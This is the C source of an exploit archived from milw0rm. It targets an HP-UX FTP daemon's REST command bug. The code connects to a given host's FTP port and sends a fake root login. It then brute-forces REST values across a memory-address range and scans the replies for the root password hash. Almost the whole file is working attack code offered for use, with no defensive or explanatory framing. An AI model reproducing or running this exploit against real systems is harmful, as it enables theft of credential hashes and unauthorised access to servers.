97 lines
No EOL
1.9 KiB
C
97 lines
No EOL
1.9 KiB
C
/*
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Author: phased
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/str0ke
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*/
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <netinet/in.h>
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#include <arpa/inet.h>
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#include <netdb.h>
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#include <stdio.h>
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#include <unistd.h>
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int main (int argc, char *argv[]) {
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int sock, rc;
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long int i;
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struct sockaddr_in saddr;
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struct hostent *h;
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char buf[256];
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printf("DMhpux FTPd - REST bug brute forcer\n");
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printf("by phased\n");
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if(argc < 2) {
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printf("usage: %s <host> -- simple enough?\n",argv[0]);
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exit(1);
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}
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h = gethostbyname(argv[1]);
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if(h==NULL) {
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printf("%s: unknown host '%s'\n",argv[0],argv[1]);
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exit(1);
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}
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saddr.sin_family = h->h_addrtype;
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memcpy((char *) &saddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
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saddr.sin_port = htons(21);
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sock = socket(AF_INET, SOCK_STREAM, 0);
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if(sock<0) {
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perror("cannot open socket ");
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exit(1);
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}
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rc = connect(sock, (struct sockaddr *) &saddr, sizeof(saddr));
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if(rc<0) {
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perror("cannot connect ");
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exit(1);
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}
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printf("Sending false login credentials\n");
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snprintf(buf, sizeof(buf), "USER root\r\n");
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printf("sending %s\n", buf);
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rc = send(sock, buf, strlen(buf), 0);
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if(rc<0) {
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perror("cannot send data ");
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close(sock);
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exit(0);
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}
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dorecv(sock);
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usleep(1000);
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memset(buf, 0, sizeof(buf));
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snprintf(buf, sizeof(buf), "PASS foo\r\n");
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printf("sending %s\n", buf);
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rc = send(sock, buf, strlen(buf), 0);
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usleep(1000);
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dorecv(sock);
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dorecv(sock);
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for(i=1073931080;i<=1073945000;i = i+10) {
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snprintf(buf, sizeof(buf), "REST %d\r\n", i);
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printf("sending %s\n", buf);
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send(sock, buf, strlen(buf), 0);
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dorecv(sock);
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}
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return 0;
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}
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int dorecv(int sock) {
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char buf[256];
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char *check;
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memset(buf, 0, sizeof(buf));
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recv(sock, buf, sizeof(buf), 0);
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printf("got: %s\n", buf);
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check = (char *)strstr(buf, "root");
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if(check != NULL) {
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printf("Got root hash\n");
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}
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}
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// milw0rm.com [2005-05-03]
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